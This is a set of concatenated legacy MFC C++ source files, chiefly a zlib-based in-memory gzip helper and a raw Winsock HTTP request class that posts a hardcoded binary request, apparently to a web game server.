	DECLARE_DYNCREATE(CFun4Dlg)



// Construction

public:

	CFun4Dlg();

	~CFun4Dlg();



// Dialog Data

	//{{AFX_DATA(CFun4Dlg)

	enum { IDD = IDD_DIALOG4 };

		// NOTE - ClassWizard will add data members here.

		//    DO NOT EDIT what you see in these blocks of generated code !

	//}}AFX_DATA





// Overrides

	// ClassWizard generate virtual function overrides

	//{{AFX_VIRTUAL(CFun4Dlg)

	protected:

	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support

	//}}AFX_VIRTUAL



// Implementation

protected:

	// Generated message map functions

	//{{AFX_MSG(CFun4Dlg)

		// NOTE: the ClassWizard will add member functions here

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()



};



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_FUN4DLG_H__1CC4D224_DB9D_4EAC_A415_A05178ABA4BC__INCLUDED_)









源码/GZipHelper.h

/* version: 1.0, Feb, 2003

   Author : Gao Dasheng

   Copyright (C) 1995-2002 Gao Dasheng(dsgao@hotmail.com)

   

  This software is provided 'as-is', without any express or implied

  warranty.  In no event will the authors be held liable for any damages

  arising from the use of this software.



  Permission is granted to anyone to use this software for any purpose,

  including commercial applications, and to alter it and redistribute it

  freely, subject to the following restrictions:



  1. The origin of this software must not be misrepresented; you must not

     claim that you wrote the original software. If you use this software

     in a product, an acknowledgment in the product documentation would be

     appreciated but is not required.

  2. Altered source versions must be plainly marked as such, and must not be

     misrepresented as being the original software.

  3. This notice may not be removed or altered from any source distribution.

//////////////////////////////////////////////////////////////////////////////

  Introduce:

     This file includes two classes CA2GZIP and CGZIP2A which do compressing and 

	 uncompressing in memory. and It 's very easy to use for small data compressing.

	 Some compress and uncompress codes came from gzip  unzip function of zlib 1.1.x. 



  Usage: 

     these two classes work used with zlib 1.1.x (http://www.gzip.org/zlib/).

	 They were tested in Window OS.

  Exmaple:

     #include "GZipHelper.h"

	 void main()

	 {

        char plainText[]="Plain text here";

		CA2GZIP gzip(plainText,strlen(plainText));  // do compressing here;

		LPGZIP pgzip=gzip.pgzip;  // pgzip is zipped data pointer, you can use it directly

		int len=gzip.Length;      // Length is length of zipped data;



		CGZIP2A plain(pgzip,len);  // do decompressing here



		char *pplain=plain.psz;    // psz is plain data pointer

		int  aLen=plain.Length;    // Length is length of unzipped data.

	 }

//////////////////////////////////////////////////////////////////////////////

*/





#ifndef __GZipHelper__

#define __GZipHelper__



#include "zip/zutil.h"





#define ALLOC(size) malloc(size)

#define TRYFREE(p) {if (p) free(p);}

#define Z_BUFSIZE 4096

#define ASCII_FLAG   0x01 /* bit 0 set: file probably ascii text */

#define HEAD_CRC     0x02 /* bit 1 set: header CRC present */

#define EXTRA_FIELD  0x04 /* bit 2 set: extra field present */

#define ORIG_NAME    0x08 /* bit 3 set: original file name present */

#define COMMENT      0x10 /* bit 4 set: file comment present */

#define RESERVED     0xE0 /* bits 5..7: reserved */



typedef  unsigned char GZIP;

typedef  GZIP* LPGZIP;



static const int gz_magic[2] = {0x1f, 0x8b}; /* gzip magic header */



template< int t_nBufferLength = 1024 ,int t_nLevel=Z_DEFAULT_COMPRESSION,int t_nStrategy=Z_DEFAULT_STRATEGY>

class CA2GZIPT

{

  public:

    LPGZIP pgzip;

    int Length;

  public:

  CA2GZIPT(char* lpsz,int len=-1):pgzip(0),Length(0)

  {

    Init(lpsz,len);

  }

  ~CA2GZIPT()

  {

    if(pgzip!=m_buffer) TRYFREE(pgzip);

  }

  void Init(char *lpsz,int len=-1)

  {

    if(lpsz==0)

	{

	  pgzip=0; 

	  Length=0;

	  return ;

	}

	if(len==-1)

    {

     len=(int)strlen(lpsz);

    }

	m_CurrentBufferSize=t_nBufferLength;

	pgzip=m_buffer;

	

   

	m_zstream.zalloc = (alloc_func)0;

    m_zstream.zfree = (free_func)0;

    m_zstream.opaque = (voidpf)0;

    m_zstream.next_in = Z_NULL;

    m_zstream.next_out = Z_NULL;

    m_zstream.avail_in = 0;

	m_zstream.avail_out = 0;

    m_z_err = Z_OK;

    m_crc = crc32(0L, Z_NULL, 0);

    int err = deflateInit2(&(m_zstream), t_nLevel,Z_DEFLATED, -MAX_WBITS, DEF_MEM_LEVEL, t_nStrategy);

	m_outbuf = (Byte*)ALLOC(Z_BUFSIZE);

	m_zstream.next_out = m_outbuf;

	if (err != Z_OK || m_outbuf == Z_NULL)

	{

	   destroy();

	   return ;

    }

	m_zstream.avail_out = Z_BUFSIZE;

	GZIP header[10]={0x1f,0x8b,Z_DEFLATED, 0 /*flags*/, 0,0,0,0 /*time*/, 0 /*xflags*/, OS_CODE};

    write(header,10);



	m_zstream.next_in = (Bytef*)lpsz;

    m_zstream.avail_in = len;

    while (m_zstream.avail_in != 0)

	{

        if (m_zstream.avail_out == 0)

		{

            m_zstream.next_out = m_outbuf;

		 	this->write(m_outbuf,Z_BUFSIZE);

            m_zstream.avail_out = Z_BUFSIZE;

        }

        m_z_err = deflate(&m_zstream,Z_NO_FLUSH);

        if (m_z_err != Z_OK) break;

    }

	m_crc = crc32(m_crc, (const Bytef *)lpsz, len);

	if (finish() != Z_OK) { destroy(); return ;}

    putLong(m_crc);

    putLong (m_zstream.total_in);  

	destroy();

 }

 private:

   GZIP m_buffer[t_nBufferLength];

   int m_CurrentBufferSize;

   z_stream m_zstream;

   int      m_z_err;   /* error code for last stream operation */

   Byte     *m_outbuf; /* output buffer */

   uLong    m_crc;     /* crc32 of uncompressed data */

   

   int write(LPGZIP buf,int count)

   {

     if(buf==0) return 0;

	 if(Length+count>m_CurrentBufferSize)

	 {

	   int nTimes=(Length+count)/t_nBufferLength +1;

	   LPGZIP pTemp=pgzip;

	   pgzip=static_cast<LPGZIP>( malloc(nTimes*t_nBufferLength));

	   m_CurrentBufferSize=nTimes*t_nBufferLength;

	   memcpy(pgzip,pTemp,Length);

	   if(pTemp!=m_buffer) free(pTemp);

	 }

	 memcpy(pgzip+Length,buf,count);

	 Length+=count;

	 return count;

  }



  int finish()

  {

    uInt len;

    int done = 0;

    m_zstream.avail_in = 0; 

    for (;;)

	{

        len = Z_BUFSIZE - m_zstream.avail_out;

        if (len != 0)

		{

			write(m_outbuf,len);

            m_zstream.next_out = m_outbuf;

            m_zstream.avail_out = Z_BUFSIZE;

        }

        if (done) break;

        m_z_err = deflate(&(m_zstream), Z_FINISH);

		if (len == 0 && m_z_err == Z_BUF_ERROR) m_z_err = Z_OK;

        

		done = (m_zstream.avail_out != 0 || m_z_err == Z_STREAM_END);

         if (m_z_err != Z_OK && m_z_err != Z_STREAM_END) break;

    }

    return  m_z_err == Z_STREAM_END ? Z_OK : m_z_err;

 }

 int destroy()

 {

    int err = Z_OK;

	if (m_zstream.state != NULL) {

    err = deflateEnd(&(m_zstream));

    }

    if (m_z_err < 0) err = m_z_err;

    TRYFREE(m_outbuf);

    return err;

 }



 void putLong (uLong x)

 {

    for(int n = 0; n < 4; n++) {

        unsigned char c=(unsigned char)(x & 0xff);

		write(&c,1);

        x >>= 8;

    }

 }

};

typedef CA2GZIPT<10> CA2GZIP;





template< int t_nBufferLength = 1024>

class CGZIP2AT

{

  public:

   char *psz;

   int  Length;

   CGZIP2AT(LPGZIP pgzip,int len):m_gzip(pgzip),m_gziplen(len),psz(0),Length(0),m_pos(0)

  {

    Init(); 

  }

  ~CGZIP2AT()

  {

    if(psz!=m_buffer) TRYFREE(psz);  

  }

  void Init()

  {

	if(m_gzip==0)

	{

	  psz=0; 

	  Length=0;

	  return ;

	}

	m_CurrentBufferSize=t_nBufferLength;

	psz=m_buffer;

	memset(psz,0,m_CurrentBufferSize+1);



	m_zstream.zalloc = (alloc_func)0;

    m_zstream.zfree = (free_func)0;

    m_zstream.opaque = (voidpf)0;

    m_zstream.next_in = m_inbuf = Z_NULL;

    m_zstream.next_out = Z_NULL;

    m_zstream.avail_in = m_zstream.avail_out = 0;

    m_z_err = Z_OK;

	m_z_eof = 0;

	m_transparent = 0;

    m_crc = crc32(0L, Z_NULL, 0);

    

	m_zstream.next_in  =m_inbuf = (Byte*)ALLOC(Z_BUFSIZE);

    int  err = inflateInit2(&(m_zstream), -MAX_WBITS);

	if (err != Z_OK || m_inbuf == Z_NULL)

	{

	  destroy();

	  return;

    }

    m_zstream.avail_out = Z_BUFSIZE;

	check_header();

	char outbuf[Z_BUFSIZE];

	int nRead;

	while(true)

	{

	  nRead=gzread(outbuf,Z_BUFSIZE);

	  if(nRead<=0) break;

	  write(outbuf,nRead);

	}

	destroy();

  }

  private:

   char m_buffer[t_nBufferLength+1];

   int m_CurrentBufferSize;

   z_stream m_zstream;

   int      m_z_err;   /* error code for last stream operation */

   Byte     *m_inbuf; /* output buffer */

   uLong    m_crc;     /* crc32 of uncompressed data */

   int      m_z_eof;

   int      m_transparent;



   int      m_pos;

   LPGZIP   m_gzip;

   int      m_gziplen;

   

  void check_header()

  {

    int method; /* method byte */

    int flags;  /* flags byte */

    uInt len;

    int c;



    /* Check the gzip magic header */

    for (len = 0; len < 2; len++) {

	c = get_byte();

	if (c != gz_magic[len]) {

	    if (len != 0) m_zstream.avail_in++, m_zstream.next_in--;

	    if (c != EOF) {

		m_zstream.avail_in++, m_zstream.next_in--;

		m_transparent = 1;

	    }

	    m_z_err =m_zstream.avail_in != 0 ? Z_OK : Z_STREAM_END;

	    return;

	}

    }

    method = get_byte();

    flags = get_byte();

    if (method != Z_DEFLATED || (flags & RESERVED) != 0) {

	m_z_err = Z_DATA_ERROR;

	return;

    }

    /* Discard time, xflags and OS code: */

    for (len = 0; len < 6; len++) (void)get_byte();



    if ((flags & EXTRA_FIELD) != 0) { /* skip the extra field */

	len  =  (uInt)get_byte();

	len += ((uInt)get_byte())<<8;

	/* len is garbage if EOF but the loop below will quit anyway */

	while (len-- != 0 && get_byte() != EOF) ;

    }

    if ((flags & ORIG_NAME) != 0) { /* skip the original file name */

	while ((c = get_byte()) != 0 && c != EOF) ;

    }

    if ((flags & COMMENT) != 0) {   /* skip the .gz file comment */

	while ((c = get_byte()) != 0 && c != EOF) ;

    }

    if ((flags & HEAD_CRC) != 0) {  /* skip the header crc */

	for (len = 0; len < 2; len++) (void)get_byte();

    }

    m_z_err = m_z_eof ? Z_DATA_ERROR : Z_OK;

  }



  int get_byte()

  {

    if (m_z_eof) return EOF;

    if (m_zstream.avail_in == 0) 

	{

	 errno = 0;

	 m_zstream.avail_in =read(m_inbuf,Z_BUFSIZE);

	 if(m_zstream.avail_in == 0)

	 {

	    m_z_eof = 1;

	    return EOF;

	 }

	 m_zstream.next_in = m_inbuf;

    }

    m_zstream.avail_in--;

    return *(m_zstream.next_in)++;

 }

 int read(LPGZIP buf,int size)

 {

   int nRead=size;

   if(m_pos+size>=m_gziplen)

   {

    nRead=m_gziplen-m_pos;

   }

   if(nRead<=0) return 0;

   memcpy(buf,m_gzip+m_pos,nRead);

   m_pos+=nRead;

   return nRead;

  }



 int gzread(char* buf,int len)

 {

    Bytef *start = (Bytef*)buf; /* starting point for crc computation */

    Byte  *next_out; /* == stream.next_out but not forced far (for MSDOS) */



     

	if (m_z_err == Z_DATA_ERROR || m_z_err == Z_ERRNO) return -1;

    if (m_z_err == Z_STREAM_END) return 0;  /* EOF */



    next_out = (Byte*)buf;

    m_zstream.next_out = (Bytef*)buf;

    m_zstream.avail_out = len;

    while (m_zstream.avail_out != 0) {

	if (m_transparent)

	{

	    /* Copy first the lookahead bytes: */

	    uInt n = m_zstream.avail_in;

	    if (n > m_zstream.avail_out) n = m_zstream.avail_out;

	    if (n > 0) 

		{

		zmemcpy(m_zstream.next_out,m_zstream.next_in, n);

		next_out += n;

		m_zstream.next_out = next_out;

		m_zstream.next_in   += n;

		m_zstream.avail_out -= n;

		m_zstream.avail_in  -= n;

	    }

	    if (m_zstream.avail_out > 0) {

		 m_zstream.avail_out -=read(next_out,m_zstream.avail_out);

	    }

	    len -= m_zstream.avail_out;

	    m_zstream.total_in  += (uLong)len;

	    m_zstream.total_out += (uLong)len;

        if (len == 0) m_z_eof = 1;

	    return (int)len;

	}

    if (m_zstream.avail_in == 0 && !m_z_eof)

	{

          errno = 0;

          m_zstream.avail_in = read(m_inbuf,Z_BUFSIZE);

          if (m_zstream.avail_in == 0)

		  {

             m_z_eof = 1;

		  }

          m_zstream.next_in = m_inbuf;

        }

        m_z_err = inflate(&(m_zstream), Z_NO_FLUSH);

	   if (m_z_err == Z_STREAM_END)

	   {

	    /* Check CRC and original size */

	    m_crc = crc32(m_crc, start, (uInt)(m_zstream.next_out - start));

	    start = m_zstream.next_out;

	    if (getLong() != m_crc) {

  		  m_z_err = Z_DATA_ERROR;

	    }else

		{

	       (void)getLong();

         	check_header();

		   if (m_z_err == Z_OK)

		   {

		    uLong total_in = m_zstream.total_in;

		    uLong total_out = m_zstream.total_out;

		    inflateReset(&(m_zstream));

		    m_zstream.total_in = total_in;

		    m_zstream.total_out = total_out;

		    m_crc = crc32(0L, Z_NULL, 0);

		}

	    }

	}

	if (m_z_err != Z_OK || m_z_eof) break;

    }

    m_crc = crc32(m_crc, start, (uInt)(m_zstream.next_out - start));

    return (int)(len - m_zstream.avail_out);

 }

 uLong getLong()

 {

    uLong x = (uLong)get_byte();

    int c;

    x += ((uLong)get_byte())<<8;

    x += ((uLong)get_byte())<<16;

    c = get_byte();

    if (c == EOF) m_z_err = Z_DATA_ERROR;

    x += ((uLong)c)<<24;

    return x;

 }

 int write(char* buf,int count)

 {

     if(buf==0) return 0;

	 if(Length+count>m_CurrentBufferSize)

	 {

	   int nTimes=(Length+count)/t_nBufferLength +1;

	   char *pTemp=psz;

	   psz=static_cast<char*>( malloc(nTimes*t_nBufferLength+1));

	   m_CurrentBufferSize=nTimes*t_nBufferLength;

	   memset(psz,0,m_CurrentBufferSize+1);

	   memcpy(psz,pTemp,Length);

	   if(pTemp!=m_buffer) free(pTemp);

	 }

	 memcpy(psz+Length,buf,count);

	 Length+=count;

	 return count;

 }

 int destroy()

 {

    int err = Z_OK;

	if (m_zstream.state != NULL) {

	    err = inflateEnd(&(m_zstream));

	}

    if (m_z_err < 0) err = m_z_err;

    TRYFREE(m_inbuf);

    return err;

}



};

typedef CGZIP2AT<> CGZIP2A;

#endif







源码/HttpRequest.cpp



    
    
    源码/HttpRequest.cpp
    
    


源码/HttpRequest.cpp// HttpRequest.cpp: implementation of the CHttpRequest class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "7QW.h"
#include "HttpRequest.h"
#include "StaticFunctions.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CHttpRequest::CHttpRequest()
{

}

CHttpRequest::~CHttpRequest()
{

}


void CHttpRequest::MemBufferCreate(TAG_MemBuffer *b)
{
    b->size = MEM_BUFFER_SIZE;
    b->buffer =(unsigned    char *) malloc( b->size );
    b->position = b->buffer;
}


void CHttpRequest::MemBufferGrow(TAG_MemBuffer *b)
{
    size_t sz;
    sz = b->position - b->buffer;
    b->size = b->size *2;
    b->buffer =(unsigned    char *) realloc(b->buffer,b->size);
    b->position = b->buffer + sz;   
}


void CHttpRequest::MemBufferAddByte(TAG_MemBuffer *b,unsigned char byt)
{
    if( (size_t)(b->position-b->buffer) >= b->size )
        MemBufferGrow(b);
    
    *(b->position++) = byt;
}


void CHttpRequest::MemBufferAddBuffer(TAG_MemBuffer *b,unsigned char *buffer, size_t size)
{
    while( ((size_t)(b->position-b->buffer)+size) >= b->size )
        MemBufferGrow(b);
    
    memcpy(b->position,buffer,size);
    b->position+=size;
}


DWORD CHttpRequest::GetHostAddress(LPCSTR host)
{
    struct hostent *phe;
    char *p;
    
    phe = gethostbyname( host );
    
    if(phe==NULL)
        return 0;
    
    p = *phe->h_addr_list;
    return *((DWORD*)p);
}

BOOL CHttpRequest::SendData(SOCKET sock, char *buffer, int bufferLen)
{
    int startPos;
    int ret;
    startPos=0;
    
    while(bufferLen>0)
    {
        ret=send(sock,buffer+startPos,bufferLen,0);
        if(ret==0)
            break;
        if(ret==SOCKET_ERROR)
        {
            
            if(WSAGetLastError()==WSAEWOULDBLOCK)
            {
                Sleep(50);
                continue;
            }   
            
            return FALSE;
            
        }
        startPos+=ret;
        bufferLen-=ret;
    }
    return bufferLen==0;
}

BOOL CHttpRequest::ValidHostChar(char ch)
{
    return( isalpha(ch) || isdigit(ch)
        || ch=='-' || ch=='.' || ch==':' );
}




void CHttpRequest::ParseURL(LPCSTR url,LPSTR protocol,int lprotocol,
                       LPSTR host,int lhost,LPSTR request,int lrequest,int *port)
{
    char *work,*ptr,*ptr2;
    
    *protocol = *host = *request = 0;
    *port=80;
    
    work = strdup(url);
    strupr(work);
    
    ptr = strchr(work,':');                         // find protocol if any
    if(ptr!=NULL)
    {
        *(ptr++) = 0;
        lstrcpyn(protocol,work,lprotocol);
    }
    else
    {
        lstrcpyn(protocol,"HTTP",lprotocol);
        ptr = work;
    }
    
    if( (*ptr=='/') && (*(ptr+1)=='/') )            // skip past opening /'s 
        ptr+=2;
    
    ptr2 = ptr;                                     // find host
    while( ValidHostChar(*ptr2) && *ptr2 )
        ptr2++;
    
    *ptr2=0;
    lstrcpyn(host,ptr,lhost);
    
    lstrcpyn(request,url + (ptr2-work),lrequest);   // find the request
    
    ptr = strchr(host,':');                         // find the port number, if any
    if(ptr!=NULL)
    {
        *ptr=0;
        *port = atoi(ptr+1);
    }
    
    free(work);
}


void CHttpRequest::SendRequest(bool IsPost, LPCSTR url, CString &psHeaderSend, CString &psHeaderReceive, CString &psMessage)
{
    TAG_HTTPRequest     req;
    int                 i,j,rtn;
    FILE                *fp;
    LPSTR               buffer;
    
    req.headerSend                          = NULL;
    req.headerReceive                       = NULL;
    req.message                             = NULL;
    
    //Read in arguments
    unsigned char chooseBuild[] ="\x03\x00\x00\x00\x01\x00\x16\x63\x61\x73\x74\x6C\x65\x41\x63\x74"
        "\x2E\x73\x65\x6C\x65\x63\x74\x43\x61\x73\x42\x75\x69\x00\x03\x2F"
        "\x33\x37\x00\x00\x00\x13\x0A\x00\x00\x00\x02\x11\x0C\x09\x30"
        "\x8C\xCB\x04\x11\x0C\x09\x32\x05\x43\x07";
    
    if(IsPost)
    {                                                   /* POST */
        i       = psHeaderSend.GetLength();
        buffer  = (char*) malloc(i+1);
        strcpy(buffer, (LPCTSTR)psHeaderSend);
        
        rtn             = SendHTTP( url,
            "Content-Type: application/x-www-form-urlencoded\r\n",
            (unsigned char*)chooseBuild,
            58,
            &req);
        
        free(buffer);
    }
    else                                                /* GET */
        rtn = SendHTTP(url,NULL,NULL,0,&req);
    
    
    if(!rtn)                                            //Output message and/or headerSend 
    {
        psHeaderSend        = req.headerSend;
        psHeaderReceive     = req.headerReceive;
        psMessage           = req.message;
        
        
        free(req.headerSend);
        free(req.headerReceive);
        free(req.message);
    }
    else
    {

        MessageBox(0, "Retrieve Failed", "", 0);
    }
}





int CHttpRequest::SendHTTP(LPCSTR url,LPCSTR headers,BYTE *post,
        DWORD postLength,TAG_HTTPRequest *req,BOOL bRecvMsg)
{
    WSADATA         WsaData;
    SOCKADDR_IN     sin;
    SOCKET          sock;
    char            buffer[1024];
    char            protocol[20],host[256],request[1024];
    int             l,port,chars,err;
    TAG_MemBuffer   headersBuffer,messageBuffer;
    char            headerSend[2048];
    BOOL            done,bRet;
    
    DWORD dwlength;
    
    ParseURL(url,protocol,sizeof(protocol),host,sizeof(host),       
        request,sizeof(request),&port);
    if(strcmp(protocol,"HTTP"))
        return 1;
    
    err = WSAStartup (0x0101, &WsaData);                            
    if(err!=0)
        return 1;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    
    if (sock == INVALID_SOCKET)
        return 1;
    
    
    sin.sin_family = AF_INET;                                       //Connect to web sever
    sin.sin_port = htons( (unsigned short)port );
    sin.sin_addr.s_addr = GetHostAddress(host);

    if( connect (sock,(LPSOCKADDR)&sin, sizeof(SOCKADDR_IN) ) )
    {
        
        return 1;
    }

    if( !*request )
        lstrcpyn(request,"/",sizeof(request));
    
    if( post == NULL )
    {
        
        strcpy(headerSend, "GET ");
    }
    else 
    {
        strcpy(headerSend, "POST ");
    }
    
    strcat(headerSend, request);
    strcat(headerSend, " HTTP/1.1\r\n");
    strcat(headerSend,headers);
//AfxMessageBox(headerSend);

    unsigned char httpost[4096];
    memset(httpost,0,4096);
    memcpy(httpost,headerSend,strlen(headerSend));
    memcpy(httpost+strlen(headerSend),post,postLength);
    dwlength=strlen(headerSend)+postLength;
    CString xx;
    xx.Format("%d,%d",dwlength,strlen(headerSend));
//
    //AfxMessageBox(xx);
//  ::Sleep(10);
/*  CFile file;
    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"data.txt";
    file.Open(FileName,CFile::modeCreate|CFile::modeWrite);
    file.SeekToBegin();
    file.Write(httpost,dwlength);//CString m_data
    file.Flush();
    file.Close();*/
    
    bRet=SendData(sock,(char *)httpost,dwlength);

    if(!bRet)
    return 1;

    //接收req头部
    MemBufferCreate(&headersBuffer);
    chars = 0;
    done = FALSE;
    CString x;
    while(!done)
    {
        l = recv(sock,buffer,1,0);
    
        if(l<0)
            done=TRUE;
        
        switch(*buffer)
        {
        case '\r':
            break;
        case '\n':
            if(chars==0)
                done = TRUE;
            chars=0;
            break;
        default:
            chars++;
            break;
        }
        
        MemBufferAddByte(&headersBuffer,*buffer);
    }

    req->headerReceive  = (char*) headersBuffer.buffer;
    *(headersBuffer.position) = 0;
    
    MemBufferCreate(&messageBuffer);
    memset(buffer,0,1024);
if(bRecvMsg)
{

    
    do
    {
        l = recv(sock,buffer,sizeof(buffer)-1,0);
        
        if(l<0)
            break;
        *(buffer+l)=0;
        MemBufferAddBuffer(&messageBuffer, (unsigned char*)&buffer, l);
    } while(l>0);
    
    *messageBuffer.position = 0;
    req->message = (char*) messageBuffer.buffer;
    req->messageLength = (messageBuffer.position - messageBuffer.buffer);
}


    closesocket(sock);                                      
    
    return 0;
}





SOCKET CHttpRequest::_KeepCookies(LPCSTR url, LPCSTR headers, BYTE *post, DWORD postLength, TAG_HTTPRequest *req)
{
    WSADATA         WsaData;
    SOCKADDR_IN     sin;
    SOCKET          sock;
    char            buffer[1024];
    char            protocol[20],host[256],request[1024];
    int             l,port,chars,err;
    TAG_MemBuffer   headersBuffer,messageBuffer;
    char            headerSend[2048];
    BOOL            done,bRet;
    
    DWORD dwlength;
    
    ParseURL(url,protocol,sizeof(protocol),host,sizeof(host),       
        request,sizeof(request),&port);
    if(strcmp(protocol,"HTTP"))
        return 1;
    
    err = WSAStartup (0x0101, &WsaData);                            
    if(err!=0)
        return 1;
    
    sock = socket (AF_INET, SOCK_STREAM, 0);
    
    if (sock == INVALID_SOCKET)
        return 1;

    
    sin.sin_family = AF_INET;                                       //Connect to web sever
    sin.sin_port = htons( (unsigned short)port );
    sin.sin_addr.s_addr = GetHostAddress(host);
    
    if( connect (sock,(LPSOCKADDR)&sin, sizeof(SOCKADDR_IN) ) )
    {
        
        return 1;
    }

    if( !*request )
        lstrcpyn(request,"/",sizeof(request));
    
    if( post == NULL )
    {
        
        strcpy(headerSend, "GET ");
    }
    else 
    {
        strcpy(headerSend, "POST ");
    }
    
    strcat(headerSend, request);
    strcat(headerSend, " HTTP/1.1\r\n");
    strcat(headerSend,headers);
//AfxMessageBox(headerSend);

    unsigned char httpost[4096];
    memset(httpost,0,4096);
    memcpy(httpost,headerSend,strlen(headerSend));
    memcpy(httpost+strlen(headerSend),post,postLength);
    dwlength=strlen(headerSend)+postLength;
    CString xx;
    xx.Format("%d,%d",dwlength,strlen(headerSend));
//
    //AfxMessageBox(xx);
//  ::Sleep(10);
/*  CFile file;
    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"data.txt";
    file.Open(FileName,CFile::modeCreate|CFile::modeWrite);
    file.SeekToBegin();
    file.Write(httpost,dwlength);//CString m_data
    file.Flush();
    file.Close();*/
    
    bRet=SendData(sock,(char *)httpost,dwlength);

    if(!bRet)
    return 1;

    //接收req头部
    MemBufferCreate(&headersBuffer);
    chars = 0;
    done = FALSE;
    CString x;
    while(!done)
    {
        l = recv(sock,buffer,1,0);
    
        if(l<0)
            done=TRUE;
        
        switch(*buffer)
        {
        case '\r':
            break;
        case '\n':
            if(chars==0)
                done = TRUE;
            chars=0;
            break;
        default:
            chars++;
            break;
        }
        
        MemBufferAddByte(&headersBuffer,*buffer);
    }

    req->headerReceive  = (char*) headersBuffer.buffer;
    *(headersBuffer.position) = 0;
    
//  AfxMessageBox(req->headerReceive);

/*  MemBufferCreate(&messageBuffer);
    memset(buffer,0,1024);
    
    do
    {
        l = recv(sock,buffer,sizeof(buffer)-1,0);
        
        if(l<0)
            break;
        *(buffer+l)=0;
        MemBufferAddBuffer(&messageBuffer, (unsigned char*)&buffer, l);
    } while(l>0);
    
    *messageBuffer.position = 0;
    req->message = (char*) messageBuffer.buffer;
    req->messageLength = (messageBuffer.position - messageBuffer.buffer);


   // closesocket(sock);    */                                  
    
    return sock;
}

SOCKET CHttpRequest::_SendPostData(SOCKET sock, LPCSTR url, LPCSTR headers, BYTE *post, DWORD postLength, TAG_HTTPRequest *req)
{
    WSADATA         WsaData;
    SOCKADDR_IN     sin;
  //  SOCKET            sock;
    char            buffer[1024];
    char            protocol[20],host[256],request[1024];
    int             l,port,chars,err;
    TAG_MemBuffer   headersBuffer,messageBuffer;
    char            headerSend[2048];
    BOOL            done,bRet;
    
    DWORD dwlength;
    
    ParseURL(url,protocol,sizeof(protocol),host,sizeof(host),       
        request,sizeof(request),&port);
    if(strcmp(protocol,"HTTP"))
        return 1;
    
    /*err = WSAStartup (0x0101, &WsaData);                          
    if(err!=0)
        return 1;
    
    sock = socket (AF_INET, SOCK_STREAM, 0);
    
    if (sock == INVALID_SOCKET)
        return 1;

    
    sin.sin_family = AF_INET;                                       //Connect to web sever
    sin.sin_port = htons( (unsigned short)port );
    sin.sin_addr.s_addr = GetHostAddress(host);
    
    if( connect (sock,(LPSOCKADDR)&sin, sizeof(SOCKADDR_IN) ) )
    {
        
        return 1;
    }*/

    if( !*request )
        lstrcpyn(request,"/",sizeof(request));
    
    if( post == NULL )
    {
        
        strcpy(headerSend, "GET ");
    }
    else 
    {
        strcpy(headerSend, "POST ");
    }
    
    strcat(headerSend, request);
    strcat(headerSend, " HTTP/1.1\r\n");
    strcat(headerSend,headers);
//AfxMessageBox(headerSend);

    unsigned char httpost[4096];
    memset(httpost,0,4096);
    memcpy(httpost,headerSend,strlen(headerSend));
    memcpy(httpost+strlen(headerSend),post,postLength);
    dwlength=strlen(headerSend)+postLength;
    CString xx;
    xx.Format("%d,%d",dwlength,strlen(headerSend));
//
    //AfxMessageBox(xx);
//  ::Sleep(10);
/*  CFile file;
    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"data.txt";
    file.Open(FileName,CFile::modeCreate|CFile::modeWrite);
    file.SeekToBegin();
    file.Write(httpost,dwlength);//CString m_data
    file.Flush();
    file.Close();*/
    
    bRet=SendData(sock,(char *)httpost,dwlength);

    if(!bRet)
    return 1;

    //接收req头部
    MemBufferCreate(&headersBuffer);
    chars = 0;
    done = FALSE;
    CString x;
    while(!done)
    {
        l = recv(sock,buffer,1,0);
    
        if(l<0)
            done=TRUE;
        
        switch(*buffer)
        {
        case '\r':
            break;
        case '\n':
            if(chars==0)
                done = TRUE;
            chars=0;
            break;
        default:
            chars++;
            break;
        }
        
        MemBufferAddByte(&headersBuffer,*buffer);
    }

    req->headerReceive  = (char*) headersBuffer.buffer;
    *(headersBuffer.position) = 0;
    
//  AfxMessageBox(req->headerReceive);

    MemBufferCreate(&messageBuffer);
    memset(buffer,0,1024);
    
    do
    {
        l = recv(sock,buffer,sizeof(buffer)-1,0);
        
        if(l<0)
            break;
        *(buffer+l)=0;
        MemBufferAddBuffer(&messageBuffer, (unsigned char*)&buffer, l);
    } while(l>0);
    
    *messageBuffer.position = 0;
    req->message = (char*) messageBuffer.buffer;
    req->messageLength = (messageBuffer.position - messageBuffer.buffer);



   // closesocket(sock);                                        
    
    return sock;
}







源码/HttpRequest.h

// HttpRequest.h: interface for the CHttpRequest class.

//

//////////////////////////////////////////////////////////////////////



#if !defined(AFX_HTTPREQUEST_H__E0F3E82A_329F_4450_B13F_66BFF883EE5A__INCLUDED_)

#define AFX_HTTPREQUEST_H__E0F3E82A_329F_4450_B13F_66BFF883EE5A__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

#include <winsock2.h>



#define MEM_BUFFER_SIZE 10



typedef struct

{ 

    LPSTR headerSend;								// Pointer to HTTP header Send 

	LPSTR headerReceive;							// Pointer to HTTP headers Receive

    LPSTR message;									// Pointer to the HTTP message 

    long  messageLength;								// Length of the message 

} TAG_HTTPRequest;





typedef struct

{

    unsigned	char *buffer;

    unsigned	char *position;

    size_t		size;

} TAG_MemBuffer;





class CHttpRequest  

{

public:

	CHttpRequest();

	virtual ~CHttpRequest();

		int			SendHTTP(LPCSTR url,LPCSTR headers,BYTE *post, DWORD postLength,TAG_HTTPRequest *req,BOOL bRecvMsg=TRUE);

private:

	void		MemBufferCreate(TAG_MemBuffer *b);

	void		MemBufferGrow(TAG_MemBuffer *b);

	void		MemBufferAddByte(TAG_MemBuffer *b, unsigned char byt);

	void		MemBufferAddBuffer(TAG_MemBuffer *b, unsigned char *buffer, size_t size);

	DWORD		GetHostAddress(LPCSTR host);

	void		SendString(SOCKET sock,LPCSTR str);

	BOOL		ValidHostChar(char ch);

	void		ParseURL(LPCSTR url,LPSTR protocol,int lprotocol, LPSTR host,int lhost,LPSTR request,int lrequest,int *port);

	

